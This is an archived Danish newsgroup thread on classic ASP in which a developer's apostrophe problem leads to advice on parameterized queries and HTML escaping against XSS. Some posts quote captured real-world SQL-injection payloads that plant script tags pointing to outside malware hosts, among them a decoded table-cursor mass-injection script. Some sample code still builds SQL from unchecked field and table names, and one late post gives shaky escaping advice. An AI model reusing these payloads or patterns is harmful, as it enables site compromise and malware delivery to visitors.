🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: dk.edb.internet.webdesign.serverside.asp
19 messages
19 total messages Started by Jens Sun, 11 Dec 2011 20:30
Apostrof
#154
Author: Jens
Date: Sun, 11 Dec 2011 20:30
19 lines
2208 bytes
Jeg har en del input-felter, hvor mine brugere kan indtaste
sangtitler, der efterfølgende lagres i en access database. Og så kan
andre på html-siden se den nye sang. Det virker fint - indtil en fandt
på at skrive sangen

I'll be your baby tonight

Og for at sikre input bliver de modtaget med et
Server.HTMLEncode(input) - som fint sørger for at min efterfølgede
UPDATE-sætning ikke fejler pga. &, < "" og lignende. Men netop
apostrof - eller pling - den kan den ikke lide.
Så HTMLEncode må åbenbart ikke konvertere den tilstrækkeligt.

Jeg har læst i et andet indlæg, at man skal huske at erstatte et
apostrof med et dobbelt. Og hvis svaret er 'ja' - er der så en
funktion, som kan erstatte alle ' med " i en streng?

mvh
   /Jens
Re: Apostrof
#155
Author: Birger Sørensen
Date: Mon, 12 Dec 2011 00:33
31 lines
2337 bytes
Jens:
> Jeg har en del input-felter, hvor mine brugere kan indtaste
> sangtitler, der efterf�lgende lagres i en access database. Og s� kan
> andre p� html-siden se den nye sang. Det virker fint - indtil en fandt
> p� at skrive sangen
>
> I'll be your baby tonight
>
> Og for at sikre input bliver de modtaget med et
> Server.HTMLEncode(input) - som fint s�rger for at min efterf�lgede
> UPDATE-s�tning ikke fejler pga. &, < "" og lignende. Men netop
> apostrof - eller pling - den kan den ikke lide.
> S� HTMLEncode m� �benbart ikke konvertere den tilstr�kkeligt.
>
> Jeg har l�st i et andet indl�g, at man skal huske at erstatte et
> apostrof med et dobbelt. Og hvis svaret er 'ja' - er der s� en
> funktion, som kan erstatte alle ' med " i en streng?
>
> mvh
>    /Jens

Et link?
Erstat den med noget andet og tilbage, n�r strengen skal vises..
' => \'
og \' => '

Birger

-- 
http://varmeretter.dk - billig, sund og hurtig mad
http://skippersevent.dk
Re: Apostrof
#156
Author: Jens
Date: Mon, 12 Dec 2011 11:09
56 lines
3326 bytes
On 12 Dec., 01:33, Birger Sørensen <s...@bbsorensen.com> wrote:
> Jens:
>
>
>
>
>
> > Jeg har en del input-felter, hvor mine brugere kan indtaste
> > sangtitler, der efterfølgende lagres i en access database. Og så kan
> > andre på html-siden se den nye sang. Det virker fint - indtil en fandt
> > på at skrive sangen
>
> > I'll be your baby tonight
>
> > Og for at sikre input bliver de modtaget med et
> > Server.HTMLEncode(input) - som fint sørger for at min efterfølgede
> > UPDATE-sætning ikke fejler pga. &, < "" og lignende. Men netop
> > apostrof - eller pling - den kan den ikke lide.
> > Så HTMLEncode må åbenbart ikke konvertere den tilstrækkeligt.
>
> > Jeg har læst i et andet indlæg, at man skal huske at erstatte et
> > apostrof med et dobbelt. Og hvis svaret er 'ja' - er der så en
> > funktion, som kan erstatte alle ' med " i en streng?
>
> > mvh
> >    /Jens
>
> Et link?
> Erstat den med noget andet og tilbage, når strengen skal vises..
> ' => \'
> og \' => '
>
> Birger
>
> --http://varmeretter.dk- billig, sund og hurtig madhttp://skippersevent.dk- Skjul tekst i anførselstegn -
>
> - Vis tekst i anførselstegn -

Hej Birger/

Mine brugere taster noget ind jeg ikke er herre over - og som skal
gemmes i access-databasen, hvorfra det igen kan vises på andre
hjemmesider.
Hvis min bruger indtaster øv'bøv (øvapostrofbøv) går der 'ged' i min
efterfølgende UPDATE sætning og der genereres denne fejl:
Der er en syntaksfejl, fordi der mangler en operator. i
forespørgselsudtrykket "'øv'bø"
Hvis jeg skal tage det ukendte input og konvertere alle apostroffer
til noget andet - hviken kommando skal jeg så bruge?

mvh
   /Jens.
Re: Apostrof
#157
Author: Stig Johansen
Date: Mon, 12 Dec 2011 11:35
5 lines
1812 bytes
Den mandag den 12. december 2011 12.09.58 UTC+1 skrev Jens:
> Hvis jeg skal tage det ukendte input og konvertere alle apostroffer
> til noget andet - hviken kommando skal jeg så bruge?

Brug replace funktionen.
Re: Apostrof
#158
Author: Jens
Date: Mon, 12 Dec 2011 12:45
29 lines
2611 bytes
On 12 Dec., 12:35, Stig Johansen <simpel.te...@gmail.com> wrote:
> Den mandag den 12. december 2011 12.09.58 UTC+1 skrev Jens:
>
> > Hvis jeg skal tage det ukendte input og konvertere alle apostroffer
> > til noget andet - hviken kommando skal jeg så bruge?
>
> Brug replace funktionen.

Hej Stig

ja den har jeg også haft kig på, men da jeg aldrig har brugt den før
er min syntaks åbenabrt forkert.

Det går fint den ene vej fra innput til access med
REPLACE(Request.form("notes"),"'","£"), hvor ' fint erstattes af £

Men den anden vej, når jeg skal sende det til klienten kan jeg ikke
finde ud af syntaksen.
Før replace har jeg:

Response.write "..........." & rs("kommentar") & ......

Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '

REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke
REPLACE(rs("kommentar"),'£',''')

mvh
   /jens
Re: Apostrof
#159
Author: Rune Jensen
Date: Mon, 12 Dec 2011 15:55
70 lines
4236 bytes
On 12 Dec., 04:45, Jens <jens.r.rasmusse...@gmail.com> wrote:

> Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '

...brug asc til tegn, som ikke umiddelbart kan bruges i din ASP-kode -

> REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke

34 er chr-cærdien for "

Replace( rs( "kommentar"), "£, chr( 34))

Mht. Chr-værdier, kig f.eks. her:
http://www.ascii.cl/htmlcodes.htm

(der findes nok bedre, men lige hvad jeg kunne finde) - decimal
værdier i tabellen kan bruges umiddelbart.


> REPLACE(rs("kommentar"),'£',''')

Den fjerner £. ved at give den en tom streng, og er (nok?) ikke det du
vil.

Husk iøvrigt, at replace ikke bare kan stå alene, den skal bruges via
en variabel eller bruges som del af argument, da det er en funktion.

a = Replace ( b,c,d)

Finder alt i strengen b, som indeholder strengen c og erstatter dette
med indholdet af d. resultatet lægges i variablen a.

--------
Noget helt andet er så... Du skal beskytte både din HTML-kode (imod
bl.a. cross-site-scripting) OG din database (imod SQL-injection). Det
sidste gøres med parameterized queries, og er SVJV den eneste sikre
måde at gøre det på.

Umiddelbart ville jeg bruge PQ når jeg lægger kommentaren ind i DBen,
og så lave replace, når svaret _skrives til siden_.

Med PQ kan dine brugere skrive hvad fanden det skal være i en
kommentar - DBen er ligeglad, fordi dine SQL-argumenter sendes separat
fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen.

Det er først, når svaret så skrives ud på siden, at der kan ske ting
og sager (i forhold til HTMLen selv), og her bruger man så replace som
denne på kommentaren

' Avoid XSS on HTML-output
Function toHTML( StringIn)
   toHTML = replace( replace( replace( replace( StringIn, "&",
"&amp;"), chr(34), "&quot;"), "<",  "&lt;"), ">",  "&gt;")
End Function
response.write "<p>" & toHTML( Kommentar) & "</p>"

Parameterized Queries ifbm. Classic ASP er forbandet svært at finde
gode tutorials om efterhånden, men prøv denne:
http://www.userfriendlythinking.com/Blog/BlogDetail.asp?p1=7013&p2=119&p7=3001

Det er en kæmpe fordel ved PQ, at man kan have den "rå" kommentar
altid, og uden den gør skade i DBen, og derefter behandle den som man
vil, alt efter om den skal skrives til en hjemmeside (med HTML) eller
andet. Man ændrer kun på outputtet - ikke på kommentaren selv.


MVH
Rune Jensen
Re: Apostrof
#160
Author: Rune Jensen
Date: Mon, 12 Dec 2011 16:06
11 lines
1688 bytes
On 11 Dec., 12:30, Jens <jens.r.rasmusse...@gmail.com> wrote:

> Jeg har læst i et andet indlæg, at man skal huske at erstatte et
> apostrof med et dobbelt.

Hvad var begrundelsen for det?



MVH
Rune Jensen
Re: Apostrof
#161
Author: Jens
Date: Mon, 12 Dec 2011 22:26
91 lines
5512 bytes
On 12 Dec., 16:55, Rune Jensen <runeofdenm...@gmail.com> wrote:
> On 12 Dec., 04:45, Jens <jens.r.rasmusse...@gmail.com> wrote:
>
> > Nu skal replace ind over rs("kommentar"), hvor £ skal erstattes af '
>
> ...brug asc til tegn, som ikke umiddelbart kan bruges i din ASP-kode -
>
> > REPLACE(rs("kommentar"),"£","'") virker ikke. og heller ikke
>
> 34 er chr-cærdien for "
>
> Replace( rs( "kommentar"), "£, chr( 34))
>
> Mht. Chr-værdier, kig f.eks. her:http://www.ascii.cl/htmlcodes.htm
>
> (der findes nok bedre, men lige hvad jeg kunne finde) - decimal
> værdier i tabellen kan bruges umiddelbart.
>
> > REPLACE(rs("kommentar"),'£',''')
>
> Den fjerner £. ved at give den en tom streng, og er (nok?) ikke det du
> vil.
>
> Husk iøvrigt, at replace ikke bare kan stå alene, den skal bruges via
> en variabel eller bruges som del af argument, da det er en funktion.
>
> a = Replace ( b,c,d)
>
> Finder alt i strengen b, som indeholder strengen c og erstatter dette
> med indholdet af d. resultatet lægges i variablen a.
>
> --------
> Noget helt andet er så... Du skal beskytte både din HTML-kode (imod
> bl.a. cross-site-scripting) OG din database (imod SQL-injection). Det
> sidste gøres med parameterized queries, og er SVJV den eneste sikre
> måde at gøre det på.
>
> Umiddelbart ville jeg bruge PQ når jeg lægger kommentaren ind i DBen,
> og så lave replace, når svaret _skrives til siden_.
>
> Med PQ kan dine brugere skrive hvad fanden det skal være i en
> kommentar - DBen er ligeglad, fordi dine SQL-argumenter sendes separat
> fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen.
>
> Det er først, når svaret så skrives ud på siden, at der kan ske ting
> og sager (i forhold til HTMLen selv), og her bruger man så replace som
> denne på kommentaren
>
> ' Avoid XSS on HTML-output
> Function toHTML( StringIn)
>    toHTML = replace( replace( replace( replace( StringIn, "&",
> "&amp;"), chr(34), "&quot;"), "<",  "&lt;"), ">",  "&gt;")
> End Function
> response.write "<p>" & toHTML( Kommentar) & "</p>"
>
> Parameterized Queries ifbm. Classic ASP er forbandet svært at finde
> gode tutorials om efterhånden, men prøv denne:http://www.userfriendlythinking.com/Blog/BlogDetail.asp?p1=7013&p2=11...
>
> Det er en kæmpe fordel ved PQ, at man kan have den "rå" kommentar
> altid, og uden den gør skade i DBen, og derefter behandle den som man
> vil, alt efter om den skal skrives til en hjemmeside (med HTML) eller
> andet. Man ændrer kun på outputtet - ikke på kommentaren selv.
>
> MVH
> Rune Jensen

Tak Rune.

Først nu forstår jeg hvorfor PQ virker. Der gik endelig :-) en prås op
for mig, da du skrev "fordi dine SQL-argumenter sendes separat
fra brugerinputsne, sådan at brugerinputs ikke kan indvirke på SQLen".
Førhen begreb jeg ikke hvorfor PQ kunne beskytte sql-opslaget i db.
Med ordet "separat" gav jo forklaringen.

Også en fin henvisning til eksempel. Jeg har forsøgt mig med et enkelt
brugerid/password-input og det virker. Hurra. Så nu skal jeg bare
bruge samme metode de 117 andre steder hvor brugerne kan indtaste
data. Og jeg går ud fra, at jeg nu ikke ved input skal tage højde for
apostroffer, gåseøbne, og-tegn og mindre end/større end-tegn - da de -
hvis de er der - vil blive opfatett som de tegn der er og ikke som
kommandoer til sql-kaldet.

Næste step - bliver så output til html-siden - og der har du jo givet
mig en fin function, som jeg tror jeg forstår og derfor vil bruge.

med taknemmelig hilsen
  /jens
Re: Apostrof
#162
Author: Stig Johansen
Date: Tue, 13 Dec 2011 09:09
129 lines
5909 bytes
Jens wrote:

> Ogs� en fin henvisning til eksempel. Jeg har fors�gt mig med et enkelt
> brugerid/password-input og det virker. Hurra. S� nu skal jeg bare
> bruge samme metode de 117 andre steder hvor brugerne kan indtaste
> data. 

Du kan med fordel bruge den funktion du fik som svar i et andet indl�g fra
dig.

Eksempler nederst.

> Og jeg g�r ud fra, at jeg nu ikke ved input skal tage h�jde for 
> apostroffer, g�se�bne, og-tegn og mindre end/st�rre end-tegn - da de -
> hvis de er der - vil blive opfatett som de tegn der er og ikke som
> kommandoer til sql-kaldet.

Pr�cis.
Du skal ikke t�nke p� noget som helst, blot gemme resultatet direkte.

> N�ste step - bliver s� output til html-siden - og der har du jo givet
> mig en fin function, som jeg tror jeg forst�r og derfor vil bruge.

For at uddybe.
Det er for at forhindre en anden problemstilling - XSS.

Antag at brugeren indtaster f�lgende i en textbox:
<script src="link.til.malware.injection.js></script>

Dette vil aktivere javascript, som fr�ser frem og tilbage, viser diverse
alarmer, og ender med at inficere brugerens maskine.

Eksempel p� brug af 'min' funktion:
UPDATE med variabelt antal felter:
-------------------------------------------------
'      Redim ParametersArray(100)
      SQL = "UPDATE " + Databasename + " SET "
      Counter = 0
      For Each Item In Request.Form
        if (Item <> "Update") AND (Item <> "id") and (Item<>"none") then
         if Counter > 0 then
            SQL = SQL + ","
         end if
         ParametersArray(Counter) = Request.Form(Item)
         Counter = Counter + 1
         SQL = SQL + Item + "=" + "? "
        end if
      next

      SQL = SQL + ",Changetime=now(),ChgUser=? " + _
            " WHERE id=?"
      ParametersArray(Counter) = session("loginuser")
      ParametersArray(Counter+1) = NotesId
      Rowsaffected = query(oConn,SQL,ParametersArray,Counter+2)
      if Rowsaffected = 1 then %>
         <div> Notes has been saved.<br/>
         <a href="">Reedit</a>&nbsp;&nbsp;
         <a
href="show.notes.asp?<%=Request.Servervariables("QUERY_STRING")%>">Show
note</a>
         </div>
      <% else
         Response.Write SQL + "<br/>Error saving note " + Err.Description +
"<br/>"
....
-----------------------------
INSERT med variabelt antal felter:
      Response.Write "in adding form" +cStr(Request.Form.Count)
      Counter = 0
      For Each Item In Request.Form
        if Item <> "Add" and Item <> "none" then
         if Counter > 0 then
            SQL = SQL + ","
            SQLValues = SQLValues + ","
         end if
         ParametersArray(Counter) = Request.Form(Item)
         Counter = Counter + 1
         SQL = SQL + Item
         SQLValues = SQLValues + "? "
         Response.Write "Item: " + Item
        end if
      next
      SQL = SQL + ",Addtime,Changetime,AddUser,ChgUser"
      ParametersArray(Counter) = Session("loginuser")
      ParametersArray(Counter+1) = Session("loginuser")

      SQLValues = SQLValues + ",now(),now(),?,?"

      SQL = "INSERT INTO " + Databasename + "(" + SQL + ") VALUES
("+SQLValues+")"
      Rowsaffected = query(oConn,SQL,ParametersArray,Counter+2)
      if Rowsaffected = 1 then %>
         <div>Note has been saved.<br/>
         <a
href="add.notes.asp?<%=Request.Servervariables("QUERY_STRING")%>">Create
new</a>&nbsp;&nbsp;
         <a
href="show.base.asp?<%=Request.Servervariables("QUERY_STRING")%>">Show
notes</a>
         </div>
      <% else
         Response.Write "<br/>Error saving note " + Err.Description
+"<br/>SQL = "+SQL
      end if
...
----------------------------------------
SELECT query:
-----------------------------
   SQL = "SELECT docollapse,viewdefinition,sorttable FROM Databaseviews
WHERE databasename=? AND viewname =?"
   Set oRs = query(oConn,SQL,Array(Databasename,viewname),2)
   if oRs.eof then
      oRs.Close
      SQL = "SELECT TOP 1 docollapse,viewdefinition,viewname,sorttable FROM
Databaseviews WHERE databasename=? ORDER BY viewname"
      Set oRs = query(oConn,SQL,Array(Databasename),1)
      if not oRs.eof then Viewname = oRs("viewname") else Viewname = "No
views"
   end if
   if not oRs.eof then
.....
------------------------
Databasename og  viewname er fra Request.querystring.



-- 
Med venlig hilsen
Stig Johansen
Re: Apostrof
#163
Author: Rune Jensen
Date: Tue, 13 Dec 2011 16:49
37 lines
3227 bytes
On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote:

> Næste step - bliver så output til html-siden - og der har du jo givet
> mig en fin function, som jeg tror jeg forstår og derfor vil bruge.

Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*),
som du selv skriver du bruger, den skal bare bruges på outputtet i
stedet, ja.

Som Stig skriver, så sørger den for, der ikke kan indtastes
eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på
dine brugeres computere, når deres browser læser koden (altså
kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl
med HTML-validatoren pga. ugyldige tegn...

Problemet med den indbyggede HTML-encoding funktion er bla., at den
ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere
og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man
ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget.

Hvis nogen indtaster javascript-kode i en kommentar, som du encoder,
bliver den ikke udført - den bliver vist med tekst.


*) http://www.w3schools.com/ASP/met_htmlencode.asp

> med taknemmelig hilsen
>   /jens- Skjul tekst i anførselstegn -

Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som
også har svaret her.


MVH
Rune Jensen
Re: Apostrof
#164
Author: Stig Johansen
Date: Wed, 14 Dec 2011 08:56
23 lines
2177 bytes
Rune Jensen wrote:

> On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote:
> 
>> med taknemmelig hilsen
>> /jens- Skjul tekst i anf�rselstegn -
> 
> Takkker... har l�rt nok det meste af det jeg ved om ASP af Stig, som
> ogs� har svaret her.

Hov hov - Rune.

Hvis du ikke havde stillet din 'botbef�ngte' side til r�dighed havde vi
aldrig opn�et samme dybde og viden om bot'er injections osv.

S� en (meget) stor del af �ren m� tilfalde dig.

Jeg har blot bidraget med en 'smule' teknik baseret p� vore f�lles
observationer/logninger etc.

-- 
Med venlig hilsen
Stig Johansen
Re: Apostrof
#165
Author: Leif Neland
Date: Wed, 14 Dec 2011 11:06
33 lines
3966 bytes
Rune Jensen wrote:
> Som Stig skriver, s� s�rger den for, der ikke kan indtastes
> eksekverbar kode (fx. javascript) i kommentaren, som s� kan udf�res p�
> dine brugeres computere, n�r deres browser l�ser koden (alts�
> kommentaren). Funktionen s�rger i�vrigt ogs� for, du ikke f�r vr�vl
> med HTML-validatoren pga. ugyldige tegn...
>

Nogen i Bulgarien fors�ger at injecte dette p� vores side: "</title><script 
src=http://nbnjki.com/urchin.js ></script>"

Via url'en
              voressite.dk/side.asp?id=273841+update+product+set+title=cast(title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(109)%2Bchar(121)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))--





Eller ?id=273841 update product set title=cast(title as 
varchar(8000))+cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(115)+char(116)+char(97)+char(116)+char(115)+char(109)+char(121)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(32)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62) 
as varchar(8000))--

Det bliver fanget af input sanitation; id skal v�re et heltal, ikke en 
streng ;-)

Det er ellers venligt af dem, at de vil lade den eksisterende overskrift st� 
:-)
update product set title=title+"</title><script....."
Ellers ville man have set det med det samme, at sitet var blevet defacet.

At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu sjovere...

Leif
Re: Apostrof
#166
Author: Stig Johansen
Date: Wed, 14 Dec 2011 11:23
78 lines
4794 bytes
Leif Neland wrote:

> Nogen i Bulgarien 

Garanteret en bot.

> fors�ger at injecte dette p� vores side: 
> "</title><script src=http://nbnjki.com/urchin.js ></script>"
> 
> Via url'en
>              
voressite.dk/side.asp?id=273841+update+product+set+title=cast(title+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(109)%2Bchar(121)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(32)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))--

Det var da p�nt af dem at g�re det s� let l�seligt ;-)

'Kineseren' brugte denne her opbygning:
keynav=1;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x44...<a lot of
hex>...F7220%20AS%20VARCHAR(4000));EXEC(@S);--

(< a lot of hex> er indsat af mig)

Hvilket bliver til:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
  SELECT a.name,b.name FROM sysobjects a,syscolumns b
   WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR
b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
   [inserted to prevent execution] EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www.adwadb.mobi/ngg.js></script>''')
   FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor


> Det bliver fanget af input sanitation; id skal v�re et heltal, ikke en
> streng ;-)

Bot'erne bruger bare det der st�r i dit link.
Du har ?id=..
Rune havde ?keynav=

> update product set title=title+"</title><script....."
> Ellers ville man have set det med det samme, at sitet var blevet defacet.

Det tilf�lde jeg refererer til ber�rte ca. 2 millioner engl�ndere, og blev
kun opdaget fordi der var en der undrede sig over et tr�k p� 'et eller
andet tusind' bel�b.

Husker ikke lige h�ndelsen men det var i �r 2009 - s� det er arkiveret under
altz...

> At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu sjovere...

Nej selvf�lgelig ikke ;-)

De bliver naturligvis nedlagt lige s� hurtigt de bliver oprettet, men selv
inden for f� minutter/timer, kan det udbredes.

S�g evt. efter "fast flux domains" hvis du vil vide mere.

Jeg ved godt du g�r en anelse 'grin' med disse 'bot programm�rer', men hvis
du s�tter dig ind i materien, er de langt langt mere intelligente end du
overhovedet forestiller dig.


Den st�rste (og gennemf�rte) genistreg er 'mnamogofer', som der ikke er en
k�ft der har opdaget til trods for den har eksisteret siden 2004-2006.

"Kun en t�be frygter ikke hav^H^H^Hbot programm�rerne" ;-)

-- 
Med venlig hilsen
Stig Johansen
Re: Apostrof
#167
Author: Leif Neland
Date: Wed, 14 Dec 2011 12:01
28 lines
2892 bytes
Stig Johansen wrote:
>> At dom�net nbnjki.com s� ikke eksisterer mere g�r det endnu
>> sjovere...
>
> Nej selvf�lgelig ikke ;-)
>
> De bliver naturligvis nedlagt lige s� hurtigt de bliver oprettet, men
> selv inden for f� minutter/timer, kan det udbredes.

Der gik ikke mange minutter fra jeg fandt dem i loggen til jeg testede at 
dom�net ikke ikke eksisterede.
Seneste link er til et site der findes, men en url, der ikke g�r.

De er kommet fra den samme ip mange gange de sidste par dage, s� nu f�r de 
en redirect 301 til deres egen ip :-)

>
> Jeg ved godt du g�r en anelse 'grin' med disse 'bot programm�rer',
> men hvis du s�tter dig ind i materien, er de langt langt mere
> intelligente end du overhovedet forestiller dig.

Ja, det er desv�rre lykkedes nogen at liste tabelstrukturen ud ved hj�lp af 
sqlinjects p� et "undersite", hvor jeg ikke havde f�et fjernet at 
fejlmeddlelser blev udskrevet. :-(
Til geng�ld k�rte det med en sql-bruger, der kun havde l�seadgang, og kun 
til de absolut n�dvendige tabeller. :-)

Leif
Re: Apostrof
#168
Author: Stig Johansen
Date: Wed, 14 Dec 2011 12:08
36 lines
3069 bytes
Leif Neland wrote:

> Der gik ikke mange minutter fra jeg fandt dem i loggen til jeg testede at
> dom�net ikke ikke eksisterede.
> Seneste link er til et site der findes, men en url, der ikke g�r.

I en periode vogtede jeg disse logs n�sten i d�gndrift.
Det var ret tit domainet/url'en ikke virkede, selv da selve requestet blev
udf�rt.

Men forestil dig denne tidslinie:
1) opret dom�ne
2) send bot'erne afsted
3) domainet bliver nedlagt
4) bot'erne forts�tter
....

Men n�r proppen er af'er er den absolut giftigste (og intelligente) en (php)
bot, der manipulerer .htaccess
Den virkede p� denne m�de:
1. request - fors�g p� installering af malware
2. request - vis en porno site
3. fors�g (og fremover) - en 401 not found (aalts� som tekst men med 200OK i
header).

Jamen - hold k�ft hvor er det genialt - for det betyder jo at en observation
af 1. request aldrig kan efterforskes[1], da senere opslag giver noget
andet.

Respekt for 'dem' har jeg squ ;-)

[1] Efterforskes af diverse 'anti firmaer'.

-- 
Med venlig hilsen
Stig Johansen
Re: Apostrof
#169
Author: Jens
Date: Thu, 15 Dec 2011 21:50
46 lines
3852 bytes
On 13 Dec., 17:49, Rune Jensen <runeofdenm...@gmail.com> wrote:
> On 12 Dec., 23:26, Jens <jens.r.rasmusse...@gmail.com> wrote:
>
> > Næste step - bliver så output til html-siden - og der har du jo givet
> > mig en fin function, som jeg tror jeg forstår og derfor vil bruge.
>
> Funktionen svarer nogenlunde til den indbyggede HTMLEncode-funktion*),
> som du selv skriver du bruger, den skal bare bruges på outputtet i
> stedet, ja.
>
> Som Stig skriver, så sørger den for, der ikke kan indtastes
> eksekverbar kode (fx. javascript) i kommentaren, som så kan udføres på
> dine brugeres computere, når deres browser læser koden (altså
> kommentaren). Funktionen sørger iøvrigt også for, du ikke får vrøvl
> med HTML-validatoren pga. ugyldige tegn...
>
> Problemet med den indbyggede HTML-encoding funktion er bla., at den
> ikke kan encode, hvis man bruger UTF-8 til sin HTML. Og det gør flere
> og flere jo efterhånden, som HTML5 kommer i spil. Derfor kan man
> ligesågodt lave sin egen funktion fra start, den fylder jo ikke meget.
>
> Hvis nogen indtaster javascript-kode i en kommentar, som du encoder,
> bliver den ikke udført - den bliver vist med tekst.
>
> *)http://www.w3schools.com/ASP/met_htmlencode.asp
>
> > med taknemmelig hilsen
> >   /jens- Skjul tekst i anførselstegn -
>
> Takkker... har lært nok det meste af det jeg ved om ASP af Stig, som
> også har svaret her.
>
> MVH
> Rune Jensen

En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof,
som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE
ikke understøtter &apos; ? Men er mine ie-brugere så ikke forsat udsat
for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i
funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor?

mvh.
   /jens
Re: Apostrof
#172
Author: Rune Jensen
Date: Sat, 17 Dec 2011 10:09
37 lines
3189 bytes
On 15 Dec., 22:50, Jens <jens.r.rasmusse...@gmail.com> wrote:

> En sidste kommentar/spørgsmål. Din function indenholder ikke apostrof,
> som jo også er et reserveret tegn i HTML. Men det skyldes måske, at IE
> ikke understøtter &apos; ? Men er mine ie-brugere så ikke forsat udsat
> for "mærkelige" browser-oplevelser, hvis jeg inkluderer denne i
> funktionen? Eller er skaden ved ikke at replace apostrop ikke så stor?

Du har helt ret -
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content

Du bør så nok ændre funktionen til noget a la

' Avoid XSS on HTML-output
Function toHTML( StringIn)
   toHTML =
Replace( Replace( Replace( Replace( Replace( Replace( StringIn, "&",
"&amp;")
      , chr(34), "&quot;")
      , "<",  "&lt;")
      , ">",  "&gt;")
      , "'", "&#x27;")
      , "/", "&#x2F;")
End Function
response.write "<p>" & toHTML( Kommentar) & "</p>"

Bare træk Replace'rne op på én enkelt linje, det er bare for
læsbarhedens skyld, jeg har skilt dem.


MVH
Rune Jensen
Re: Apostrof
#175
Author: Stig Johansen
Date: Mon, 19 Dec 2011 09:23
34 lines
2849 bytes
Jens wrote:

> En sidste kommentar/sp�rgsm�l. Din function indenholder ikke apostrof,
> som jo ogs� er et reserveret tegn i HTML. Men det skyldes m�ske, at IE
> ikke underst�tter &apos; ? Men er mine ie-brugere s� ikke forsat udsat
> for "m�rkelige" browser-oplevelser, hvis jeg inkluderer denne i
> funktionen? Eller er skaden ved ikke at replace apostrop ikke s� stor?

Det er lidt comme ci comme ca (staves det s�dan?;-)

N�r vi snakker XSS er det teknisk set rigeligt at erstatte < med &lt; -
dermed aktiveres intet.

Denne teknik virker i browsere men ikke i 'den' - da 'den' ikke kan styre
tags og afslutninger.

Hvis det ogs� skal virke i 'den' skal man ogs� replace > med &lt; - s� er
man sikker.

I selve teksten er der ingen grund til at replace andet, da alle browsere
forst�r & ' og " - i _teksten_.

&amp; &quot; osv er kun relevant i forbindelse med links osv.

S� hvis du udelukkende replacer < og > burde det se godt ud i alle browsere.

Hvor meget man skal have med er et tradeof mellem struktur og performance.

Man kan replace det hele (HTMLEncode) = d�rligst performance.
Eller kun < og > = bedst performance.

-- 
Med venlig hilsen
